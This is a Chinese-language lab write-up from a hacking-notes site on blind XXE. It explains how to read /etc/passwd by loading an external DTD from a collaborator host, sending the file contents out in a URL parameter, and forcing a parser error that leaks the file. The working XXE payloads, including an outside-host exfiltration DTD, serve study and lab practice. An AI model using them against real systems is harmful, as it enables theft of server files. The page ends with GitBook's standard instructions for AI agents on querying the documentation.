> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md).

# 通过错误消息进行 XXE 盲数据过滤

### 利用盲 XXE 通过错误消息检索数据

实验：Check stock 功能会分析 XML，但不会直接显示答案。目标是使用外部实体（托管在服务器上的 DTD）触发一个错误，从而显示该内容。 `/etc/passwd` 文件在异常消息中的内容。该技术通过强制解析器在一个不存在的 URI 中包含文件内容来使用，使异常泄露这些内容。

* 输入点会解析 XML，但不会正常返回结果。
* 服务器允许包含一个外部 DTD（托管在漏洞利用域上）。
* 解析器的错误消息包含足够的信息，因此如果 DTD 导致一个格式不良的引用，其中包含文件内容，这些内容就会出现在异常中。

#### 通过添加一个加载托管在服务器上的外部 DTD 来操作 `DOCTYPE` 语句，指向漏洞利用服务器的 URL：

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://qf9v476vsapx2mqf01es1v7cu30xoncc.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/a1136fe4969178bb2365ee957f481eb848d8cb7f" alt=""><figcaption></figcaption></figure>

解析器返回以下类型的错误：/ `XML 解析器因错误退出：org.XML.sax.SAXParseException; systemId: https://qf9v476...; lineNumber: 1; columnNumber: 2; 标记声明...必须格式良好。`

2. 直接尝试列出 `/etc/passwd` （问题：行数太多）：

```xml
<!ENTITY % file SYSTEM "file:////etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://rrmwg8iw4b1yen2gc2qtdwjd64c00qof.oastify.com/?content=%file;'>">
%eval;
%exfil;
```

<figure><img src="/files/80016b0d19526a758750e177eee66b0ff601b2d2" alt=""><figcaption></figcaption></figure>

3. 结合错误上下文使用的技术——将文件内容插入到一个不可能存在的引用中，以强制解析器在异常中显示：

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

通过触发对 `file:///nonexistent/%file;`的引用，解析器会生成一个包含所包含资源文本的异常（`/etc/passwd`），这使得即使没有正常返回功能也能外泄内容。

<figure><img src="/files/cf2d4e4335abc6b9c45aa940ddbc1cd14121f047" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.